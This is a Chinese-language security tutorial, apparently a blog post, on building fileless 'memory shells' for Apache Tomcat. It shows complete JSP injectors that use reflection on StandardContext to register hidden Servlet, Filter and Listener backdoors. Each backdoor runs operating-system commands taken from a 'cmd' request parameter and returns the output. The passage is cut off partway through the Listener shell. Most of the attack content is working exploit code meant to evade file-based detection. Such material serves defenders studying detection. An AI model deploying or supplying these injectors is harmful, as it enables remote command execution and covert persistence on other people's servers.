深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

渗透技巧 5天前 admin

42 0 0

前言

Java作为企业级应用最广泛使用的编程语言之一，其生态的复杂性和广泛性使得JavaWeb内存马技术尤为引人注目。JavaWeb内存马通过直接在内存中注入并执行恶意代码，绕过了传统基于文件的安全检测机制，实现了无文件攻击，极大地提升了攻击者的隐蔽性和持久性。

本篇文章分别讲解了Servlet内存马, Filter内存马, Listener内存马的编写方式, 以及对Tomcat动态注册的全面理解, 从Debug环境开始, 到最后的内存马编写.

声明：文中涉及到的技术和工具，仅供学习使用，禁止从事任何非法活动，如因此造成的直接或间接损失，均由使用者自行承担责任。

本篇文章目录如下:

深入剖析Java内存马: Tomcat下的Servlet、Filter与Listener攻击技术

调试环境搭建

本篇文章以Tomcat为代表进行编写, 所以我们需要本地搭建一个可以Debug调试Tomcat的一个环境.

安装链接: https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.0/

其中提供了bin && src目录, bin 目录存放Tomcat二进制文件, src 目录存放Tomcat源码文件, 我们将二进制文件以及源码文件统一下载一份, 为了方便, 笔者直接在这里贴出链接:

二进制文件: https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.0/bin/apache-tomcat-8.5.0.zip

源码文件: https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.0/src/apache-tomcat-8.5.0-src.zip

下载到本地后, 我们使用 IDEA 新建一个 Maven 项目:

创建好基础目录之后, 我们将下载好的部分源码信息, 以及二进制文件信息, 拷贝到我们当前的工程目录下, 如图:

随后将如下外部库加入到pom.xml文件中:

<build>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>

            <artifactId>maven-compiler-plugin</artifactId>

            <version>2.3</version>

            <configuration>
                <encoding>UTF-8</encoding>

                <source>1.8</source>

                <target>1.8</target>

            </configuration>

        </plugin>

    </plugins>

</build>

<dependencies>
    <dependency>
        <groupId>org.easymock</groupId>

        <artifactId>easymock</artifactId>

        <version>3.4</version>

    </dependency>

    <dependency>
        <groupId>ant</groupId>

        <artifactId>ant</artifactId>

        <version>1.7.0</version>

    </dependency>

    <dependency>
        <groupId>wsdl4j</groupId>

        <artifactId>wsdl4j</artifactId>

        <version>1.6.2</version>

    </dependency>

    <dependency>
        <groupId>javax.xml</groupId>

        <artifactId>jaxrpc</artifactId>

        <version>1.1</version>

    </dependency>

    <dependency>
        <groupId>org.eclipse.jdt.core.compiler</groupId>

        <artifactId>ecj</artifactId>

        <version>4.5.1</version>

    </dependency>

</dependencies>

将刚刚拷贝进来的lib目录, 加入到当前环境的classpath中:

加入后:

随后将srcmainjavamodulesjdbc-poolsrctest目录删除, 否则运行会报错:

随后我们就可以运行Tomcat了, 在运行之前我们需要指定项目目录:

-Dcatalina.home=”当前项目目录”

运行完毕后, 我们就可以看到Tomcat的运行结果:

并可以在Tomcat上进行断点调试.

JVM_Bind 错误解决

在运行途中可能遇到JVM_Bind错误, 解决方法:

开始–>运行–>services.msc命令，打开Service窗口，在Services(Local)列表中找到Internet Connection 服务，重启即可。如图:

内存马调试

在之前的JavaWEB基础中我们有所了解, 我们的Servlet, Listener, Filter都在web.xml文件中进行定义. 这一点我们就不再演示了.

JAVAWEB 基础文章: https://www.yuque.com/heihu577/uqc3u5/zsiw877tskelqmif?singleDoc

下面我们主要看一下动态注册机制.

动态注册机制

ServletContext中提供了addFilter, addListener, addServlet等方法.

当然了这些动态注册方法需配合ServletContainerInitializer接口使用, 这是Servlet3.0的新增功能. 下面我们将简单演示该机制的使用.

操作演示

定义一个实现了ServletContainerInitializer接口的MyServletContainerInitializer类, 并且在其中进行动态注册Servlet操作, 如下:

public class MyServletContainerInitializer implements ServletContainerInitializer {
    @Override
    public void onStartup(Set<Class<?>> set, ServletContext servletContext) throws ServletException {
        Servlet servlet = new HttpServlet(){
            @Override
            protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
                resp.getWriter().println("heihu577");
            }
        };
        /**
         * 参数1: 要注入的 servlet 名称
         * 参数2: 要注入的 servlet 对象
         */
        ServletRegistration.Dynamic servletRegistration = servletContext.addServlet("heihu577", servlet);
        servletRegistration.addMapping("/heihu577"); // 添加路由访问
    }
}

创建srcmainresourcesMETA-INFservicesjavax.servlet.ServletContainerInitializer文件, 其内容则是我们刚刚定义的MyServletContainerInitializer完整类名:

com.heihu577.MyServletContainerInitializer

随后启动Tomcat, 最终实现了动态注册:

Servlet 在启动时会扫描 META-INFservicesjavax.servlet.ServletContainerInitializer 文件, 若该文件中定义了类, 并且实现了 ServletContainerInitializer 接口, 那么会调用该类的 onStartup 方法. 以便程序员在启动 Tomcat 时, 不使用 web.xml 文件注册 Servlet, 就可以完成动态注册 Servlet 的方式.

提出问题

既然ServletContext这么方便, 那么我们是否可以在jsp文件中进行动态注册Servlet, 从而实现内存马?

我们可以做出尝试, 准备shell.jsp文件, 内容如下:

<%@ page import="java.io.IOException" %>
<%
    Servlet servlet = new HttpServlet(){
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException, IOException {
            resp.getWriter().println("heihu577");
        }
    };
/**
 * 参数1: 要注入的 servlet 名称
 * 参数2: 要注入的 servlet 对象
 */
    ServletRegistration.Dynamic servletRegistration = request.getServletContext().addServlet("heihu577", servlet); // 这里需要使用 request.getServletContext() 方法来获取 servletContext 对象
    servletRegistration.addMapping("/heihu577"); // 添加路由访问
%>

运行结果如下:

可以看到, 抛出了java.lang.IllegalStateException: Servlets cannot be added to context as the context has been initialised错误信息, 中文翻译过来: 由于上下文已初始化，无法将Servlet添加到上下文中.

所以这里在Tomcat底层肯定对addServlet做了校验信息, 来判断当前环境是否已初始化, 若初始化那么不支持动态注册, 若未初始化 (例如刚刚的ServletContainerInitializer接口案例) 则可以动态注册.

内存马实现

Servlet 内存马

ServletContainerInitializer 调试

虽然受到了束缚, 但我们不慌, 我们在我们的MyServletContainerInitializer中增加断点, 看一下我们的servlet是如何注入进Tomcat容器中的, 进行一步一步调试, 如下:

Tomcat 架构概念解释

我们在代码中可以分析出来, ServletContext::addServlet方法是包装了StandardContext类对象的一系列操作, createWrapper, setName, addChild, setServletClass, setServlet, dynamicServletAdded..., 只是一个封装的方法而已. 那么Wrapper是什么?下面我们使用一张Tomcat架构图来进行解释.

通过上图, 我们脑中应该有 Engine, Host, Context, Wrapper 的概念, 这里一个 Wrapper 对应一个 Servlet.

下面我们应该进行模拟ServletContext::addServlet方法的核心操作, 进行注入我们自定义的Servlet, 核心问题是StandardContext对象我们应该如何获取?

在我们的Servlet应用中, ServletContext接口由org.apache.catalina.core.ApplicationContextFacade进行实现, 如图:

而该类存在一个找到StandardContext对象的链路, 如图:

所以我们可以通过反射, 来依次得到StandardContext对象, 具体反射内容如: ApplicationContextFacade对象 -> context属性 -> context属性, 依次得到即可, 在得到StandardContext对象后, 我们可以模仿ServletContext::addServelt的核心逻辑, 从而实现内存马注入.

Servlet 内存马编写

准备shell.jsp代码如下:

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%!
    public class MyExp extends HttpServlet { // 准备已存在的恶意类
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            // 命令执行与回显...
            InputStream inputStream = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
            byte[] myChunk = new byte[1024];
            int i = 0;
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while ((i = inputStream.read(myChunk)) != -1) {
                byteArrayOutputStream.write(myChunk, 0, i);
            }
            resp.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
        }
    }
%>

<%
    ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
    Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
    ApplicationContextContext.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
    Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
    StandardContextContext.setAccessible(true);
    StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
    // 下面模拟 ServletContext::addServlet 方法中的动态生成内存马的代码块...
    Wrapper wrapper = standardContext.createWrapper(); 
    wrapper.setName("MyExp");
    standardContext.addChild(wrapper);
    MyExp myExp = new MyExp();
    wrapper.setServletClass(myExp.getClass().getName());
    wrapper.setServlet(myExp);
    standardContext.dynamicServletAdded(wrapper);
    standardContext.addServletMapping("/myExp", wrapper.getName());
%>

访问shell.jsp后, /myExp会自动存入内存, 访问/myExp?cmd=whoami即可看到命令执行结果, 如图:

Filter 内存马

失败的 Filter 内存马注入

与之前研究Servlet内存马一样, 准备MyServletContainerInitializer:

public class MyServletContainerInitializer implements ServletContainerInitializer {
    @Override
    public void onStartup(Set<Class<?>> set, ServletContext servletContext) throws ServletException {
        Filter filter = new Filter(){
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {}
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                System.out.println("Filter...");
                filterChain.doFilter(servletRequest, servletResponse);
            }
            @Override
            public void destroy() {}
        };
        FilterRegistration.Dynamic myFilter = servletContext.addFilter("myFilter", filter);
        myFilter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*");
        myFilter.setInitParameter("allowedMethods","GET,POST");
    }
}

这是动态注册的代码块, 打上断点进行调试:

其核心逻辑已使用红框圈出, 准备shell2.jsp:

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%!
    public class MyExpFilter implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {}

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
            String requestURI = httpServletRequest.getRequestURI();
            System.out.println(requestURI);
            if ("/heihu577".equals(requestURI)) {
                InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
                byte[] myChunk = new byte[1024];
                int i = 0;
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                while ((i = inputStream.read(myChunk)) != -1) {
                    byteArrayOutputStream.write(myChunk, 0, i);
                }
                servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
            } else {
                filterChain.doFilter(servletRequest, servletResponse);
            }
        }

        @Override
        public void destroy() {}
    }
%>

<%
    ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
    Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
    ApplicationContextContext.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
    Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
    StandardContextContext.setAccessible(true);
    StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
    // 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("heihuFilter");
    standardContext.addFilterDef(filterDef);
    filterDef.setFilterClass(MyExpFilter.class.getName());
    filterDef.setFilter(new MyExpFilter());
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(filterDef.getFilterName());
    filterMap.setDispatcher("[REQUEST]");
    filterMap.addURLPattern("/*");
    standardContext.addFilterMapBefore(filterMap);
%>

但是访问shell2.jsp后Filter并没有生效, 这是为什么呢？这里我们就定义一个正常的Filter, 并配置web.xml, 通过访问该Filter, 查看代码的运行流程来解答了.

Filter 访问流程分析

定义MyFitler2:

package com.heihu577.filter;

public class MyFilter2 implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        filterChain.doFilter(servletRequest, servletResponse); // 在该行打下断点.
    }

    @Override
    public void destroy() {

    }
}

定义web.xml文件:

<filter>
    <filter-name>myFilter</filter-name>

    <filter-class>com.heihu577.filter.MyFilter2</filter-class>

</filter>

<filter-mapping>
    <filter-name>myFilter</filter-name>

    <url-pattern>/*</url-pattern>

</filter-mapping>

随后在filterChain.doFilter(servletRequest, servletResponse);处打下断点, 随后查看调用栈:

可以看到StandardHostValve -> StandardContextValve -> StandardWrapperValve -> ApplicationFilterChain存在这样的一个调用过程, 这个调用过程相对来说也比较容易理解, 下面是理解图:

最终的ApplicationFilterChain::doFilter方法值得我们关注, 如图:

所以我们之前写的shell2.jsp内存马失败的原因也很简单: Tomcat 底层最终 new 了一个 ApplicationFilterRegistration 对象, 并对filterMap进行了操作, 但还有一个filters没有进行处理, filters是调用doFilter方法的关键, 如图:

filters成员属性是一个ApplicationFilterConfig数组, 该数组大小默认为0, 当我们HTTP请求过来的时候, 都会对filters进行遍历, 取出对应的ApplicationFilterConfig, 随后调用ApplicationFilterConfig::getFilter得到具体的filter, 最后调用Filter::doFilter方法.

我们并没有将MyExpFilter放入到filters中去, 但其实假设我们强制修改filters将我们的MyExpFilter放入, 其实也无法实现内存马, 因为对于每次HTTP请求filters数组都是动态生成的. 下面我们来证明这个问题.

在我们之前调用栈中的StandardWrapperValve::invoke方法可以看到进入到ApplicationFilterChain::doFilter的前提:

我们把重心关注到ApplicationFilterFactory::createFilterChain方法中:

从图中109行 && 115行的核心逻辑看到, filters这个数组, 是每次HTTP请求, 并且在120行 ~ 123行匹配成功后, 通过context.findFilterConfig (从filterConfigs中这个HashMap中查找)来查找到对应的FilterConfig, 然后调用filterChain.addFilter进而在filters容器中增加了一个Filter.

而每次请求只有这两种匹配成功的情况才会创建ApplicationFilterConfig并塞入到filters容器中:

拿到StandardContext::filterMaps进行比对
拿到该Filter的名称, 去StandardContext::filterConfigs属性进行查找并取出

换言之则是: 想要注入内存马, 需要 filters 容器中存在相对应的值. 而 filters 中存在的值受StandardContext::filterMaps以及StandardContext::filterConfigs的影响.

内存马编写思路

那么, StandardContext::filterConfigs我们可以通过自己手动创建ApplicationFilterConfig往这个HashMap里面放:

private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap<>();

其中ApplicationFilterConfig的构造函数为:

ApplicationFilterConfig(Context context, FilterDef filterDef)

而StandardContext::filterMaps我们可以通过反射得到该对象, 然后通过该对象的addBefore方法, 将我们的filterMap加进去:

private final ContextFilterMaps filterMaps = new ContextFilterMaps();
//...
private static final class ContextFilterMaps {
    private FilterMap[] array = new FilterMap[0];
    // ...
    public void addBefore(FilterMap filterMap) {
        synchronized (lock) {
            FilterMap results[] = new FilterMap[array.length + 1];
            System.arraycopy(array, 0, results, 0, insertPoint);
            System.arraycopy(array, insertPoint, results, insertPoint + 1,
                    array.length - insertPoint);
            results[insertPoint] = filterMap;
            array = results;
            insertPoint++;
        }
    }
    // ...
}

最终shell2.jsp代码为:

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
    public class MyExpFilter implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {}
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
            String requestURI = httpServletRequest.getRequestURI();
            System.out.println(requestURI);
            if ("/heihu577".equals(requestURI)) {
                InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
                byte[] myChunk = new byte[1024];
                int i = 0;
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                while ((i = inputStream.read(myChunk)) != -1) {
                    byteArrayOutputStream.write(myChunk, 0, i);
                }
                servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
            } else {
                filterChain.doFilter(servletRequest, servletResponse);
            }
        }
        @Override
        public void destroy() {}
    }
%>

<%
    ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
    Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
    ApplicationContextContext.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
    Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
    StandardContextContext.setAccessible(true);
    StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
    // 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("heihuFilter");
    // standardContext.addFilterDef(filterDef);
    filterDef.setFilterClass(MyExpFilter.class.getName());
    filterDef.setFilter(new MyExpFilter());
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(filterDef.getFilterName());
    filterMap.setDispatcher("[REQUEST]");
    filterMap.addURLPattern("/*");
    // standardContext.addFilterMapBefore(filterMap);

    // 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
    Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
    declaredConstructor.setAccessible(true);
    ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);

    // 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
    myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
    filterConfigs.set(standardContext, myFilterConfigs);

    // 得到 filterMaps, 并且调用 addBefore 方法, 将我们的 filterMap 放入进去
    Field filterMaps = standardContext.getClass().getDeclaredField("filterMaps");
    filterMaps.setAccessible(true);
    Method addBefore = filterMaps.get(standardContext).getClass().getDeclaredMethod("addBefore", FilterMap.class);
    addBefore.setAccessible(true);
    addBefore.invoke(filterMaps.get(standardContext), filterMap); // 调用 addBefore 方法, 加入我们的 filterMap

    // 一切处理完毕后, 在下次请求过来, 会请求到 ApplicationFilterFactory::createFilterChain 方法进行比对, 比对成功了, 则立马进入 doFilter 方法进行处理...
%>

也可以这样:

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
    public class MyExpFilter implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {}

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
            String requestURI = httpServletRequest.getRequestURI();
            System.out.println(requestURI);
            if ("/heihu577".equals(requestURI)) {
                InputStream inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
                byte[] myChunk = new byte[1024];
                int i = 0;
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                while ((i = inputStream.read(myChunk)) != -1) {
                    byteArrayOutputStream.write(myChunk, 0, i);
                }
                servletResponse.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
            } else {
                filterChain.doFilter(servletRequest, servletResponse);
            }
        }

        @Override
        public void destroy() {}
    }
%>

<%
    ServletContext servletContext = request.getServletContext(); // 得到 ApplicationContextFacade 对象
    Field ApplicationContextContext = servletContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade 对象的 context 字段
    ApplicationContextContext.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) ApplicationContextContext.get(servletContext); // 得到 ApplicationContextFacade 对象 context 字段的对象值
    Field StandardContextContext = applicationContext.getClass().getDeclaredField("context"); // 得到 ApplicationContextFacade -> context -> context 字段
    StandardContextContext.setAccessible(true);
    StandardContext standardContext = (StandardContext) StandardContextContext.get(applicationContext); // 得到 ApplicationContextFacade -> context -> context 对象 (StandardContext)
    // 下面模拟 ServletContext::addFilter 方法中的动态生成内存马的代码块...
    FilterDef filterDef = new FilterDef();
    filterDef.setFilterName("heihuFilter");
    standardContext.addFilterDef(filterDef);
    filterDef.setFilterClass(MyExpFilter.class.getName());
    filterDef.setFilter(new MyExpFilter());
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName(filterDef.getFilterName());
    filterMap.setDispatcher("[REQUEST]");
    filterMap.addURLPattern("/*");
    standardContext.addFilterMapBefore(filterMap); // 因为该行代码操作的就是 filterMaps

    // 创建 ApplicationFilterConfig, 未来往 filterConfigs 里面放
    Constructor<?> declaredConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(Context.class, FilterDef.class);
    declaredConstructor.setAccessible(true);
    ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) declaredConstructor.newInstance(standardContext, filterDef);

    // 得到 filterConfigs, 并且往这个 HashMap 中放置我们的 ApplicationFilterConfig
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    HashMap<String, ApplicationFilterConfig> myFilterConfigs = (HashMap<String, ApplicationFilterConfig>) filterConfigs.get(standardContext);
    myFilterConfigs.put(filterMap.getFilterName(), applicationFilterConfig);
    filterConfigs.set(standardContext, myFilterConfigs);

    // 得到 filterMaps, 并且调用 addBefore 方法, 将我们的 filterMap 放入进去
//    Field filterMaps = standardContext.getClass().getDeclaredField("filterMaps");
//    filterMaps.setAccessible(true);
//    Method addBefore = filterMaps.get(standardContext).getClass().getDeclaredMethod("addBefore", FilterMap.class);
//    addBefore.setAccessible(true);
//    addBefore.invoke(filterMaps.get(standardContext), filterMap);
%>

最终运行结果:

为什么在初始化时可以注入成功

其本身的问题也是 ServletContainerInitializer 中可以注入成功? 我们可以在我们的MyServletContainerInitializer进行打断点调试, 查看调用栈:

在StandardContext类中存在filterStart方法, 可以解析FilterDef, 来生成ApplicationFilterConfig对象, 并放置到filterConfigs字段中, 如图:

但这个方法当Tomcat启动完毕后, 就不会再执行了, 所以我们原来的马子中FilterDef无法生成ApplicationFilterConfig. 所以也就是说, 在Tomcat启动时, 就在处理filterConfigs了, 随后再也不管了, 所以我们在运行中无法直接用原来的方式注入进Tomcat容器中.

在一切处理完毕时还好, 调用的是StandardContext::addMappingForUrlPatterns, 其中直接操作的就是filterMaps, 如图:

Listener 内存马

最后我们看一下Listener内存马, 普遍的Listener分别为:

ServletContextListener：用于监听整个 Servlet 上下文（创建、销毁）
ServletContextAttributeListener：对 Servlet 上下文属性进行监听（增删改属性）
ServletRequestListener：对 Request 请求进行监听（创建、销毁）
ServletRequestAttributeListener：对 Request 属性进行监听（增删改属性）
javax.servlet.http.HttpSessionListener：对 Session 整体状态的监听
javax.servlet.http.HttpSessionAttributeListener：对 Session 属性的监听

Listener 内存马回显问题

当然为了方便笔者使用ServletRequestListener进行举例, 但ServletRequestListener接口提供了两个待实现的方法, 如下:

public interface ServletRequestListener extends EventListener {
    void requestDestroyed(ServletRequestEvent var1); // 只有 requestEvent 对象
    void requestInitialized(ServletRequestEvent var1);
}

ServletRequestEvent可以通过getServletRequest方法进行获取request对象:

public class ServletRequestEvent extends EventObject {
    private static final long serialVersionUID = 1L;
    private final transient ServletRequest request;

    public ServletRequestEvent(ServletContext sc, ServletRequest request) {
        super(sc);
        this.request = request;
    }

    public ServletRequest getServletRequest() {
        return this.request;
    }

    public ServletContext getServletContext() {
        return (ServletContext)super.getSource();
    }
}

那么如果我们构建内存马的话, 应该如何获得回显是个问题. 我们定义一个普通的Servlet, 对ServletRequest对象进行研究:

public class MyServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println(req); // 在这里打上断点
    }
}

在web.xml文件中进行实现:

<servlet>
    <servlet-name>myServlet</servlet-name>

    <servlet-class>com.heihu577.servlet.MyServlet</servlet-class>

</servlet>

<servlet-mapping>
    <servlet-name>myServlet</servlet-name>

    <url-pattern>/my</url-pattern>

</servlet-mapping>

打上断点并访问, 查看一下 request 对象结构:

可以看到, 我们通过 request 对象是可以得到 response 对象的, 通过反射获取, 将Servlet内容改为如下:

public class MyServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            Field request = req.getClass().getDeclaredField("request");
            request.setAccessible(true);
            Request requestO = (Request) request.get(req);
            Field response = requestO.getClass().getDeclaredField("response");
            response.setAccessible(true);
            Response responseO = (Response) response.get(requestO);
            responseO.getWriter().println("HelloWorld");
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }
}

重启Tomcat服务器并访问, 结果如下:

Listener 动态添加分析

老套路, 准备一个MyServletContainerInitializer:

public class MyServletContainerInitializer implements ServletContainerInitializer {
    @Override
    public void onStartup(Set<Class<?>> set, ServletContext servletContext) throws ServletException {
        ServletRequestListener servletRequestListener = new ServletRequestListener(){
            @Override
            public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
                HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequestEvent.getServletRequest();
                String requestURI = httpServletRequest.getRequestURI();
                System.out.println(requestURI);
                if ("/heihu577".equals(requestURI)) {
                    InputStream inputStream = null;
                    try {
                        inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
                    } catch (IOException e) {
                        throw new RuntimeException(e);
                    }
                    byte[] myChunk = new byte[1024];
                    int i = 0;
                    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                    while (true) {
                        try {
                            if (!((i = inputStream.read(myChunk)) != -1)) break;
                        } catch (IOException e) {
                            throw new RuntimeException(e);
                        }
                        byteArrayOutputStream.write(myChunk, 0, i);
                    }
                    try {
                        Field response = httpServletRequest.getClass().getDeclaredField("response");
                        response.setAccessible(true);
                        Response responseO = (Response) response.get(httpServletRequest);
                        responseO.getWriter().println(new String(byteArrayOutputStream.toByteArray()));
                    } catch (NoSuchFieldException e) {
                        throw new RuntimeException(e);
                    } catch (IOException e) {
                        throw new RuntimeException(e);
                    } catch (IllegalAccessException e) {
                        throw new RuntimeException(e);
                    }
                }
            }
            @Override
            public void requestInitialized(ServletRequestEvent servletRequestEvent) {}
        };
        servletContext.addListener(servletRequestListener);
        System.out.println("OK~");
    }
}

对servletContext.addListener打上断点分析其过程:

Listener 内存马编写

准备shell3.jsp文件内容如下:

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%!
    public class MyListener implements ServletRequestListener {
        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
            HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequestEvent.getServletRequest();
            String requestURI = httpServletRequest.getRequestURI();
            System.out.println(requestURI);
            if ("/heihu577".equals(requestURI)) {
                InputStream inputStream = null;
                try {
                    inputStream = Runtime.getRuntime().exec(httpServletRequest.getParameter("cmd")).getInputStream();
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
                byte[] myChunk = new byte[1024];
                int i = 0;
                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                while (true) {
                    try {
                        if (!((i = inputStream.read(myChunk)) != -1)) break;
